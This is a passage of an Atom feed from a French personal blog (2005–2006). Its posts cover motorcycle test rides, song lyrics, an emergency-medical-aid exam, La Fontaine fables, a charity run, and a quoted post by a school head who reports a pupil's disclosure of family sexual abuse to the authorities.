&lt;p&gt;&lt;em&gt;Wait and see.&lt;/em&gt;&lt;/p&gt;</content></entry><entry><title>J'en achète une demain</title><link href="http://blog.namok.be/2006-04-12-j-en-achete-une-demain.html" rel="alternate"/><published>2006-04-12T00:00:00+02:00</published><updated>2006-04-12T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2006-04-12:/2006-04-12-j-en-achete-une-demain.html</id><summary type="html">Portes ouvertes chez Triumph et l'on fait des tours à motos.</summary><content type="html">&lt;p&gt;Ce WE, c&amp;rsquo;étaient les portes ouvertes au garage Triumph du village (Etablissements Mourin). &lt;a href="http://triumphadonf.com"&gt;Triumph&lt;/a&gt; (à ne pas confondre avec un &lt;a href="//be.triumph.com/fr"&gt;autre marque du même nom&lt;/a&gt;) offre la possibilité d&amp;rsquo;essayer ses bécanes.  &lt;strong&gt;YES&lt;/strong&gt; (me dis-je) une occasion à ne pas manquer.&lt;/p&gt;
&lt;p&gt;Le Samedi, je passe en fasse du concessionnaire, je m&amp;rsquo;arrête (avec mon casque et ma veste) et je profite de l&amp;rsquo; essayage.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;La Triumph Daytona 650&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="Daytona 655" src="/images/2005_triumph_daytona_650_01.jpg"&gt;&lt;/p&gt;
&lt;p&gt;C&amp;rsquo;est avec celle-là que je commence. Pas de bol, on essuie une belle averse… mais c&amp;rsquo;est pas grave, ça roule bien. Perso, je trouve que c&amp;rsquo;est un peu « vélo » comme bécane mais bon. J&amp;rsquo;entends par vélo le fait que c&amp;rsquo;est un moteur de « petite » cylindrée et c&amp;rsquo;est un poids plume. On peu sans doute en faire un peu n&amp;rsquo;importe quoi. Je déplore cependant le bruit trop aigu du moteur (du à la petite cylindrée).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;La tiger&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="Tiger" src="/images/2005_triumph_tiger_955i_01.jpg"&gt;&lt;/p&gt;
&lt;p&gt;Le résumé de pas mal d&amp;rsquo;entre nous : « Elle est moche mais qu&amp;rsquo;est-ce qu&amp;rsquo;elle est confortable et roule bien. » C&amp;rsquo;est vraiment un p&amp;rsquo;tit bijou à piloter &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt; J&amp;rsquo;ai passé un bon moment.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;La Sprint ST&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="Sprint ST" src="/images/2005_triumph_sprint_st_1050_04.jpg"&gt;&lt;/p&gt;
&lt;p&gt;Celle-là c&amp;rsquo;est celle que je préfère (quoique). Un moteur 1050, un super couple, elle est vraiment gaie pour rouler et très très souple. Elle est confortable pour le passager, elle est sport… un peu pèpère mais comme je vieillis, c&amp;rsquo;est pas grave&lt;br&gt;
Bref, un vrai plaisir de conduite.&lt;/p&gt;
&lt;p&gt;C&amp;rsquo;est décidé, demain je la fais essayer à ma femme… et puis il me reste aussi la &lt;strong&gt;Rocket III&lt;/strong&gt; à essayer 🤩&lt;/p&gt;
&lt;p&gt;Le lendemain Dimanche, on case la petite et on vient tous les deux pour l&amp;rsquo;essayage. Chloé est enchantée de la ST et un peu méfiante au vu de la Rocket III. &lt;/p&gt;
&lt;p&gt;&lt;strong&gt;La Rocket III&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="Rocket III" src="/images/2006_Triumph_rocket_3_classic_01.jpg"&gt;&lt;/p&gt;
&lt;p&gt;Bon, c&amp;rsquo;est une super bécane.&lt;br&gt;
Un peu lourde à l&amp;rsquo;arrêt mais dès que ça roule (un tout petit peu), elle devient super maniable… et quelle puissance / couple. Bon d&amp;rsquo;accord, c&amp;rsquo;est un 203lcc (plus que ma voiture) mais c&amp;rsquo;est très agréable.&lt;br&gt;
Je suis super enchanté.&lt;br&gt;
J&amp;rsquo;en veux une ! &lt;/p&gt;
&lt;p&gt;Quoi ?  18 000 € ? Bon, d&amp;rsquo;accord, j&amp;rsquo;attend un peu.&lt;/p&gt;
&lt;p&gt;Plus sérieusement, elle est (parrait-il) assez économique puisqu&amp;rsquo;il faut un entretien tout les 15 000 Km (contre 5 000 pour une super sport). Mais le pneu coute un peu cher (le prix se fait au kg). &lt;/p&gt;
&lt;p&gt;Mate la bottine&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="/images/2006_Triumph_rocket_3_classic_back.jpg"&gt;&lt;/p&gt;
&lt;p&gt;Voilà voilà, j&amp;rsquo;ai passé un super WE.&lt;br&gt;
Merci Triumph.  &lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Et oui, on pilote une moto et on conduit une voiture. C&amp;rsquo;est pas ma faute.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Ce qui peut servir…</title><link href="http://blog.namok.be/2006-04-09-ce-qui-peut-servir.html" rel="alternate"/><published>2006-04-09T00:00:00+02:00</published><updated>2006-04-09T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2006-04-09:/2006-04-09-ce-qui-peut-servir.html</id><summary type="html">Une chanson de Jean-Pol Den</summary><content type="html">&lt;p&gt;&lt;a href="//musiqueautour.be"&gt;Pole&lt;/a&gt;, auteur compositeur, m&amp;rsquo;a livré son dernier texte qui parle du &lt;strong&gt;don d&amp;rsquo;organes&lt;/strong&gt;. Eh oui, tous les sujets sont bons pour faire une bonne chanson.&lt;/p&gt;
&lt;p&gt;Extraits, l&amp;rsquo;intro&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Maintenu en mort clinique&lt;br&gt;
quand j&amp;rsquo;aurai cassé ma pipe&lt;br&gt;
je veux qu&amp;rsquo;on prenne pour guérir&lt;br&gt;
ce qui peut servir  &lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;…la partie « cul » si joliment dite&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Si tu reçois sur les pommes&lt;br&gt;
mon petit reproducteur&lt;br&gt;
je te rassure il fonctionne&lt;br&gt;
trop vite d&amp;rsquo;ailleurs&lt;br&gt;
sans mentir chaque matin&lt;br&gt;
il est debout avant moi&lt;br&gt;
comme un Guignol italien&lt;br&gt;
qui soulève les draps  &lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;a href="https://www.youtube.com/watch?v=LXqen2oVhV8"&gt;La chanson complète se trouve et s&amp;rsquo;écoute sur Youtube&lt;/a&gt;&lt;/p&gt;</content></entry><entry><title>Garfieldd, une histoire de viol du proviseur révoqué.</title><link href="http://blog.namok.be/2006-01-31-garfieldd-une-histoire-de-viol.html" rel="alternate"/><published>2006-01-31T00:00:00+01:00</published><updated>2006-01-31T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2006-01-31:/2006-01-31-garfieldd-une-histoire-de-viol.html</id><summary type="html">Garfieldd est le pseudonyme d'un blogueur qui a failli être révoqué car son blog — sous pseudo — a été jugé pornographique.</summary><content type="html">&lt;p&gt;&lt;em&gt;Je n&amp;rsquo;ai pas lu le blog de Garfieldd en son temps, mais je le soutiens aujourd&amp;rsquo;hui, parce que je suis pour la liberté d&amp;rsquo;expression.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.kozlika.org/kozeries/post/2006/01/17/422-un-proviseur-blogueur-revoque"&gt;L&amp;rsquo;explication de l&amp;rsquo;affaire&lt;/a&gt; ainsi que &lt;a href="http://www.kozlika.org/kozeries/tag/Garfieldd"&gt;ses détails&lt;/a&gt; viennent de chez Kozlika.&lt;/p&gt;
&lt;p&gt;Voici un extrait de son blog… à caractère hautement pornographique selon ceux qui l&amp;rsquo;accusent.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Par &lt;strong&gt;Garfieldd&lt;/strong&gt;, Mercredi 2 Février 2005 à 00:03 :: &amp;gt;&amp;gt; Au travail&lt;/p&gt;
&lt;p&gt;&lt;em&gt;…Faut vous dire Monsieur&lt;/em&gt;&lt;br&gt;
&lt;em&gt;Que chez ces gens-là&lt;/em&gt;&lt;br&gt;
&lt;em&gt;On ne vit pas Monsieur&lt;/em&gt;&lt;br&gt;
&lt;em&gt;On ne vit pas on triche&amp;hellip;&lt;/em&gt;&lt;br&gt;
&lt;em&gt;Jacques Brel&lt;/em&gt;  &lt;/p&gt;
&lt;p&gt;Elle a 16 ans et demi. Vendredi, elle a raconté à l&amp;rsquo;infirmière ce que son grand père lui avait fait, il ya quelques années. L&amp;rsquo;infirmière lui a demandé si elle se sentait assez forte pour en parler à ses parents. Elle a répondu par l&amp;rsquo;affirmative. Le plus dur c&amp;rsquo;est d&amp;rsquo;oser en parler la première fois. Lundi l&amp;rsquo;infirmière reçoit la jeune fille et ses parents. Et leur indique sa détermination de faire un signalement auprès du Procureur de la République. A moins que le parents ne portent plainte eux-mêmes.&lt;/p&gt;
&lt;p&gt;Ce matin je reçois les parents et la jeune fille. Ils ont l&amp;rsquo;air préoccupés. Pas effondrés. Préoccupés. Mais pas parce que je crois. Ce qui les gêne c&amp;rsquo;est la réaction de la famille. La veille la tante de la jeune fille (pourtant mère d&amp;rsquo;une gamine elle aussi) a frappé la jeune fille pour avoir osé parler. Les parents pensent qu&amp;rsquo;il ne faut pas aller plus avant dans les démarches. Maintenant qu&amp;rsquo;ils savent, ils vont s&amp;rsquo;occuper de leur fille. En privé. Étouffer. Sauver les apparences. Le jeune fille ne souhaite d&amp;rsquo;ailleurs pas que l&amp;rsquo;affaire prenne ces proportions : hein tu ne souhaites pas que ça aille plus loin, hein ? Et puis la grand mère est une femme admirable que la jeune fille adore. Et la grand mère en mourrait et la jeune fille culpabiliserait. Hein tu culpabiliserais s&amp;rsquo;il arrivait quelque chose à mamie ? Et la jeune fille se tait. Je m&amp;rsquo;élève violemment contre l&amp;rsquo;idée que les parents puissent vouloir ou oser instiller le poison de la culpabilisation dans le cœur et l&amp;rsquo;esprit de leur fille. Je demande à la jeune fille de sortir.&lt;/p&gt;
&lt;p&gt;Je demande aux parents s&amp;rsquo;ils se rendent compte de ce qu&amp;rsquo;ils font, de ce qu&amp;rsquo;il couvrent, de ce qu&amp;rsquo;ils acceptent, de ce qu&amp;rsquo;ils demandent à leur gamine d&amp;rsquo;accepter. Elle a subi. Elle s&amp;rsquo;est tue. Elle parle maintenant. Mais selon eux il faut maintenant qu&amp;rsquo;elle chuchote, ou mieux&amp;hellip; qu&amp;rsquo;elle se taise. Je leur dis que cette attitude est intolérable. Inacceptable. Obscène. Abjecte. Pas avec ces mots là parce que je ne suis pas procureur. J&amp;rsquo;essaie de faire que mes mots trouvent le cœur de la mère et la raison du père. Ou l&amp;rsquo;inverse. Mais qu&amp;rsquo;ils ne soient pas vains.&lt;/p&gt;
&lt;p&gt;Je fais rentrer à nouveau la jeune fille. Non tu ne serais pas coupable, toi, de quoi que ce soit. Tu es victime. Et le retour à la simple chronologie des faits impose cette évidence. Rien ne serait arrivé si le grand père n&amp;rsquo;avait pas été indigne, abject, immonde. Je souhaite que plus tard la jeune fille se souvienne que des adultes l&amp;rsquo;ont aidé écouté sans se soucier du qu&amp;rsquo;en dira-t-on. Les parents réfléchissent à voix haute et suggèrent que s&amp;rsquo;ils ne portent pas plainte, le signalement n&amp;rsquo;aura pas de conséquence, pas de suite. Que tout restera lisse en surface. Ils émettent l&amp;rsquo;idée que si la jeune fille, leur fille se rétracte ils pourront gérer l&amp;rsquo;affaire dans leur confort médiocre et lâche. Ils me reprochent de ne pas leur laisser le temps de réfléchir à la meilleure façon de gérer ça. Ils me disent que si leur fille a plus tard les idées en compote (sic), ce sera de ma faute. Il veulent protéger leur fille&amp;hellip; Protéger. Je m&amp;rsquo;étrangle, mais je ne m&amp;rsquo;emporte pas. Je reste ferme sur ma position. Je n&amp;rsquo;ai pas le choix certes, mais surtout je suis convaincu de faire le bon choix. Le seul choix.&lt;/p&gt;
&lt;p&gt;Ce soir à 16h00, j&amp;rsquo;ai fait le signalement. Évidemment.&lt;/p&gt;
&lt;/blockquote&gt;</content></entry><entry><title>Ça y est…</title><link href="http://blog.namok.be/2006-01-29-70-ca-y-est.html" rel="alternate"/><published>2006-01-29T00:00:00+01:00</published><updated>2006-01-29T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2006-01-29:/2006-01-29-70-ca-y-est.html</id><summary type="html">Ça y est…</summary><content type="html">&lt;p&gt;Ben voilà, j&amp;rsquo;ai passé mes examens AMU (Aide Médicale Urgente) et j&amp;rsquo;ai réussi :-)&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;étais pas mal stressé. Je suis allé aux tests avec Fred et Virginie. Fred, pas peur, par contre Virginie et moi étions pas mal tendus. Mais tout s&amp;rsquo;est finalement bien passé et nous avons de bons résultats… Les autres de l&amp;rsquo;équipe passaient leur examens le lendemain et n&amp;rsquo;ont pas tous réussi (un copain a une seconde session).&lt;/p&gt;
&lt;p&gt;Pour ceux qui sont intéressés, ça se passe comme ça.&lt;/p&gt;
&lt;h3&gt;Première partie, l&amp;rsquo;écrit&lt;/h3&gt;
&lt;p&gt;Une série (51) de questions à choix multiples qui recouvrent bien l&amp;rsquo;ensemble de la matière.&lt;/p&gt;
&lt;p&gt;Elles sont méchantes car elles recouvrent toutes la matière et elles sont gentilles car il n&amp;rsquo;y a pas de cotation négative. Puis, elles sont drôles car il y a souvent un cinquième choix complètement bidon. J&amp;rsquo;ai bien ri sur certaines questions mais pas sur toutes.&lt;/p&gt;
&lt;p&gt;Une série (5) de questions de mise en situation.&lt;/p&gt;
&lt;p&gt;Celles-là ne sont pas faciles. Sur base des informations données, il faut choisir la bonne attitude à avoir et complèter, éventuellement, un des choix proposé. Il est clair que l&amp;rsquo;on a envie de complèter chaque choix histoire d&amp;rsquo;être complet… résultat, on est pris par le temps. Je pense cependant que ça a été.&lt;/p&gt;
&lt;p&gt;À l&amp;rsquo;issue de cette première partie, aucun de nous n&amp;rsquo;était fier, pas facile de dire : « Ça a été ! » ou pas.&lt;/p&gt;
&lt;h3&gt;Seconde partie, la pratique&lt;/h3&gt;
&lt;p&gt;Arrivé le Vendredi matin au centre de formation nous recevons une feuille avec les différents stands: &lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;théorie médecin,&lt;/li&gt;
&lt;li&gt;aide au médecin,&lt;/li&gt;
&lt;li&gt;RCP (Réanimation Cardio-Pulmonaire) adulte,&lt;/li&gt;
&lt;li&gt;RCP bébé,&lt;/li&gt;
&lt;li&gt;DEA (Défibrillateur semi-automatique),&lt;/li&gt;
&lt;li&gt;oxygénothérapie et&lt;/li&gt;
&lt;li&gt;brancardage,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Là, aucune surprise, on sait à quoi s&amp;rsquo;attendre. Comme les examinateurs sont ambulanciers et qu&amp;rsquo;un ambulancier  c&amp;rsquo;est exigeant : on stresse.&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;ai commencé par RCP Adulte et tout s&amp;rsquo;est bien passé. Puis, de stand en stand jusqu&amp;rsquo;à la fin, ça passe. Ouf, soulagé, on peut aller boire un pot. Rendez-vous au Chesterfield.&lt;/p&gt;
&lt;p&gt;Maintenant, les stages…&lt;/p&gt;</content></entry><entry><title>Eviv oknam</title><link href="http://blog.namok.be/2006-01-16-eviv-oknam.html" rel="alternate"/><published>2006-01-16T00:00:00+01:00</published><updated>2006-01-16T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2006-01-16:/2006-01-16-eviv-oknam.html</id><summary type="html">Eviv oknam</summary><content type="html">&lt;p&gt;Un peu à la « Eviv Bulgroz », voici mon nouveau nom de domaine, j&amp;rsquo;ai nommé &lt;em&gt;namok.be&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;en avais un peu marre d&amp;rsquo;utiliser &lt;em&gt;pit-it.com&lt;/em&gt; car ça faisait bien longtemps que je l&amp;rsquo;avais choisi (pas encore de .be à l&amp;rsquo;époque c&amp;rsquo;est dire) et que c&amp;rsquo;est difficile à prononcer.&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;ai donc du chercher autre chose… mais va t&amp;rsquo;en trouver un nom de domaine en &lt;code&gt;.be&lt;/code&gt; lorsque tous les mots du dico à moitié prononçables sont pris… j&amp;rsquo;ai donc demandé à mes étudiants s&amp;rsquo;ils avaient des idées. J&amp;rsquo;ai repris l&amp;rsquo;idée du verlan, j&amp;rsquo;ai choisi un personnage de BD que j&amp;rsquo;aime bien et ça donne ça &lt;em&gt;namok.be&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Et voilà donc que les sites pit-it.com deviennent les sites namok.be… ils faudra s&amp;rsquo;y habituer. On a donc pour l&amp;rsquo;instant :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;namok.be , mon site perso,&lt;/li&gt;
&lt;li&gt;esi.namok.be , la partie perso dédié à l&amp;rsquo;école,&lt;/li&gt;
&lt;li&gt;fora.namok.be, les &lt;em&gt;fora&lt;/em&gt; destinés aux étudiants,&lt;/li&gt;
&lt;li&gt;wiki.namok.be, le wiki des sites namok.be,&lt;/li&gt;
&lt;li&gt;blog.namok.be, mon blog… très très fréquenté :-)&lt;/li&gt;
&lt;li&gt;shop.namok.be, la boutique des sites namok.be, à visiter absolument&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Dans la suite viendront les trois sites ; pour la « Troupe de théâtre du Blé Vert » , « Jean-Paul DEN » et « Ça Gratte Ma Puce »… dès qu&amp;rsquo;ils auront choisi le nom qu&amp;rsquo;ils préfèrent. En effet, le domaine pit-it.com est encore disponible pour une paire d&amp;rsquo;années… j&amp;rsquo;avais payé d&amp;rsquo;avance.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Édité en 2012&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Depuis lors, Jean-Paul DEN a choisi &lt;a href="musiqueautour.be"&gt;musiqueautour.be&lt;/a&gt; et Ça Gratte Ma Puce c&amp;rsquo;est fendu de &lt;a href="cagrattemapuce.be"&gt;cagrattemapuce.be&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Avec le recul, ce nom ne me satisfait qu&amp;rsquo;à moitié… mais je n&amp;rsquo;ai pas de meilleure idée.&lt;/p&gt;</content></entry><entry><title>Patience et longueur de temps font plus que force ni que rage</title><link href="http://blog.namok.be/2005-12-29-patience-et-longueur-de-temps-font-plus-que-force-ni-que-rage.html" rel="alternate"/><published>2005-12-29T00:00:00+01:00</published><updated>2005-12-29T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2005-12-29:/2005-12-29-patience-et-longueur-de-temps-font-plus-que-force-ni-que-rage.html</id><summary type="html">Patience et longueur de temps font plus que force ni que rage</summary><content type="html">&lt;p&gt;Cela fait quelque temps déjà que j&amp;rsquo;aime à utiliser cette citation. C&amp;rsquo;est presque ma préférée.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Patience et longueur de temps font plus que force ni que rage.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Alors aujourd&amp;rsquo;hui, je me suis décidé et j&amp;rsquo;ai cherché d&amp;rsquo;où pouvait bien venir cette chouette phrase (en fait je suis tombé sur l&amp;rsquo;info par hasard et histoire de ne pas oublier, je poste ici).&lt;/p&gt;
&lt;p&gt;Je dois vous conter deux fables de &lt;strong&gt;Jean De Lafontaine&lt;/strong&gt; : &lt;a href="//www.jdlf.com/lesfables/livreii/lelionetlerat"&gt;Le lion et le Rat&lt;/a&gt; et &lt;a href="http://www.jdlf.com/lesfables/livreii/lacolombeetlafourmi"&gt;La Colombe et la Fourmis&lt;/a&gt;.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Il faut, autant qu&amp;rsquo;on peut, obliger tout le monde&lt;br&gt;
On a souvent besoin d&amp;rsquo;un plus petit que soi.&lt;br&gt;
De cette vérité deux fables feront foi,&lt;br&gt;
Tant la chose en preuves abonde. &lt;br&gt;
 &lt;br/&gt;
Entre les pattes d&amp;rsquo;un lion&lt;br&gt;
Un rat sortit de terre assez à l&amp;rsquo;étourdie.&lt;br&gt;
Le roi des animaux, en cette occasion,&lt;br&gt;
Montra ce qu&amp;rsquo;il était et lui donna la vie .&lt;br&gt;
Ce bienfait ne fut pas perdu.&lt;br&gt;
Quelqu&amp;rsquo;un aurait-il jamais cru&lt;br&gt;
Qu&amp;rsquo;un lion d&amp;rsquo;un rat eût affaire ?&lt;br&gt;
Cependant il advint qu&amp;rsquo;au sortir des forêts&lt;br&gt;
Ce lion fut pris dans des rets,&lt;br&gt;
Dont ses rugissements ne le purent défaire.&lt;br&gt;
Sire rat accourut, et fit tant par ses dents&lt;br&gt;
Qu&amp;rsquo;une maille rongée emporta tout l&amp;rsquo;ouvrage.&lt;br&gt;
&lt;br/&gt;
Patience et longueur de temps&lt;br&gt;
Font plus que force ni que rage.&lt;br&gt;
&lt;br/&gt;
L&amp;rsquo;autre exemple est tiré d&amp;rsquo;animaux plus petits&lt;br&gt;
&lt;br/&gt;
Le long d&amp;rsquo;un clair ruisseau buvait une colombe,&lt;br&gt;
Quand sur l&amp;rsquo;eau se penchant une fourmis y tombe;&lt;br&gt;
Et dans cet océan l&amp;rsquo;on eût vu la fourmis&lt;br&gt;
S&amp;rsquo;efforcer, mais en vain, de regagner la rive.&lt;br&gt;
La colombe aussitôt usa de charité:&lt;br&gt;
Un brin d&amp;rsquo;herbe dans l&amp;rsquo;eau par elle étant jeté,&lt;br&gt;
Ce fut un promontoire où la fourmis arrive.&lt;br&gt;
Elle se sauve ; et là-dessus&lt;br&gt;
Passe un certain croquant qui marchait les pieds nus.&lt;br&gt;
Ce croquant, par hasard, avait une arbalète.&lt;br&gt;
Dès qu&amp;rsquo;il voit l&amp;rsquo;oiseau de Vénus,&lt;br&gt;
Il le croit en son pot, et déjà lui fait fête.&lt;br&gt;
Tandis qu&amp;rsquo;à le tuer mon villageois s&amp;rsquo;apprête,&lt;br&gt;
La fourmis le pique au talon.&lt;br&gt;
Le vilain retourne la tête.&lt;br&gt;
La colombe l&amp;rsquo;entend, part et tire de long.&lt;br&gt;
Le soupé du croquant avec elle s&amp;rsquo;envole :&lt;br&gt;
Point de pigeon pour une obole.  &lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Une autre fable nous parle de douceur et de férocité. C&amp;rsquo;est [Phébus et Borée]  (//www.lafontaine.net/lesFables/afficheFable.php?id=108)&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Borée et le soleil virent un voyageur&lt;br&gt;
Qui s&amp;rsquo;était muni par bonheur&lt;br&gt;
Contre le mauvais temps. On entrait dans l&amp;rsquo;automne,&lt;br&gt;
Quand la précaution aux voyageurs est bonne :&lt;br&gt;
Il pleut, le soleil luit, et l&amp;rsquo;écharpe d&amp;rsquo;Iris&lt;br&gt;
Rend ceux qui sortent avertis&lt;br&gt;
Qu&amp;rsquo;en ces mois le manteau leur est fort nécessaire;&lt;br&gt;
Les Latins les nommaient douteux, pour cette affaire.&lt;br&gt;
Notre homme s&amp;rsquo;était donc à la pluie attendu :&lt;br&gt;
Bon manteau bien doublé, bonne étoffe bien forte.&lt;br&gt;
«Celui-ci, dit le vent, prétend avoir pourvu&lt;br&gt;
A tous les accidents; mais il n&amp;rsquo;a pas prévu&lt;br&gt;
Que je saurai souffler de sorte&lt;br&gt;
Qu&amp;rsquo;il n&amp;rsquo;est bouton qui tienne; il faudra, si je veux,&lt;br&gt;
Que le manteau s&amp;rsquo;en aille au diable.&lt;br&gt;
L&amp;rsquo;ébattement pourrait nous en être agréable :&lt;br&gt;
Vous plaît-il de l&amp;rsquo;avoir ? - Eh bien, gageons nous deux,&lt;br&gt;
Dit Phébus, sans tant de paroles,&lt;br&gt;
A qui plus tôt aura dégarni les épaules&lt;br&gt;
Du cavalier que nous voyons.&lt;br&gt;
Commencez : je vous laisse obscurcir mes rayons.»&lt;br&gt;
Il n&amp;rsquo;en fallut pas plus. Notre souffleur à gage&lt;br&gt;
Se gorge de vapeurs, s&amp;rsquo;enfle comme un ballon,&lt;br&gt;
Fait un vacarme de démon,&lt;br&gt;
Siffle, souffle, tempête, et brise en son passage&lt;br&gt;
Maint toit qui n&amp;rsquo;en peut mais, fait périr maint bateau,&lt;br&gt;
Le tout au sujet d&amp;rsquo;un manteau.&lt;br&gt;
Le cavalier eut soin d&amp;rsquo;empêcher que l&amp;rsquo;orage&lt;br&gt;
Ne se pût engouffrer dedans;&lt;br&gt;
Cela le préserva. Le vent perdit son temps;&lt;br&gt;
Plus il se tourmentait, plus l&amp;rsquo;autre tenait ferme;&lt;br&gt;
Il eut beau faire agir le collet et les plis.&lt;br&gt;
Sitôt qu&amp;rsquo;il fut au bout du terme&lt;br&gt;
Qu&amp;rsquo;à la gageure on avait mis,&lt;br&gt;
Le soleil dissipe la nue,&lt;br&gt;
Récrée et puis pénètre enfin le cavalier,&lt;br&gt;
Sous son balandras fait qu&amp;rsquo;il sue,&lt;br&gt;
Le contraint de s&amp;rsquo;en dépouiller :&lt;br&gt;
Encor n&amp;rsquo;usa-t-il pas de toute sa puissance.&lt;br&gt;
&lt;br/&gt;
Plus fait douceur que violence.   &lt;/p&gt;
&lt;/blockquote&gt;</content></entry><entry><title>On a participé aux 24h à pied</title><link href="http://blog.namok.be/2005-09-23-54-on-a-participe-aux-24h-a-pied.html" rel="alternate"/><published>2005-09-23T00:00:00+02:00</published><updated>2005-09-23T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2005-09-23:/2005-09-23-54-on-a-participe-aux-24h-a-pied.html</id><summary type="html">On a participé aux 24h à pied</summary><content type="html">&lt;p&gt;&lt;img alt="" src="/images/24hath.jpg" width="100%"&gt;&lt;/p&gt;
&lt;p&gt;Ça y est, on a participé aux 24h à pied d&amp;rsquo;Ath… enfin aux &lt;strong&gt;6h&lt;/strong&gt; heureuses !&lt;/p&gt;
&lt;p&gt;Les 6h heureuses se sont les 6 dernières heures des 24h qui sont organisées au profit de l&amp;rsquo;asbl « Les heures heureuses » (service d&amp;rsquo;accueil pour personnes handicapées).&lt;/p&gt;
&lt;p&gt;Quand je dis « on », c&amp;rsquo;est qu&amp;rsquo;il a été possible de débaucher 4 pompiers au sein du service incendie pour courir. C&amp;rsquo;est décidé, on va essayer de s&amp;rsquo;entrainer et de participer à d&amp;rsquo;autres activités.&lt;br&gt;
J&amp;rsquo;espère que ça ne restera pas un vœu pieu ;-)&lt;/p&gt;</content></entry><entry><title>Sur le temps qui passe…</title><link href="http://blog.namok.be/2005-07-05-sur-le-temps-qui-passe.html" rel="alternate"/><published>2005-07-05T00:00:00+02:00</published><updated>2005-07-05T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2005-07-05:/2005-07-05-sur-le-temps-qui-passe.html</id><summary type="html">Sur le temps qui passe…</summary><content type="html">&lt;p&gt;Une fois n&amp;rsquo;est pas coutume mais je vous livre un extrait du livre que je lis &lt;a href="https://fr.wikipedia.org/wiki/Et_si_c%27%C3%A9tait_vrai..._(roman)"&gt;« &lt;em&gt;Et si c&amp;rsquo;était vrai&lt;/em&gt; » de Marc Levy&lt;/a&gt;. &lt;/p&gt;
&lt;p&gt;Combien peu de gens réalisent comment le temps se compte et s&amp;rsquo;apprécie.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Tu veux comprendre ce qu&amp;rsquo;est une année de vie: pose la question à un étudiant qui vient de rater son examen de fin d&amp;rsquo;année.&lt;/p&gt;
&lt;p&gt;Un mois de vie: parles-en à une mère qui vient de mettre au monde un enfant prématuré et qui attend qu&amp;rsquo;il sorte de sa couveuse pour serrer son bébé dans ses bras, sain et sauf.&lt;/p&gt;
&lt;p&gt;Une semaine: interroge un homme qui travaille dans une usine ou dans une mine pour nourrir sa famille.&lt;/p&gt;
&lt;p&gt;Un jour: demande à deux amoureux transis qui attendent de se retrouver.&lt;/p&gt;
&lt;p&gt;Une heure: questionne un claustrophobe, coincé dans un ascenseur en panne.&lt;/p&gt;
&lt;p&gt;Une seconde: regarde l&amp;rsquo;expression d&amp;rsquo;un homme qui vient d&amp;rsquo;échapper à un accident de voiture, et un millième de seconde: demande à l&amp;rsquo;athlète qui vient de gagner la médaille d&amp;rsquo;argent aux jeux Olympiques, et non la médaille d&amp;rsquo;or pour laquelle il s&amp;rsquo;était entraîné toute sa vie.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;La vie est magique.&lt;/p&gt;</content></entry><entry><title>Ça y est, j'ai réussi, non sans mal, mon CAPAES !</title><link href="http://blog.namok.be/2005-07-05-capaes.html" rel="alternate"/><published>2005-07-05T00:00:00+02:00</published><updated>2005-07-05T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2005-07-05:/2005-07-05-capaes.html</id><summary type="html">Ça y est, j'ai réussi, non sans mal, mon CAPAES !</summary><content type="html">&lt;p&gt;&lt;img alt="" src="/images/334H-2000.jpg" width="100%"&gt;&lt;/p&gt;
&lt;p&gt;Qu&amp;rsquo;est-ce ?&lt;/p&gt;
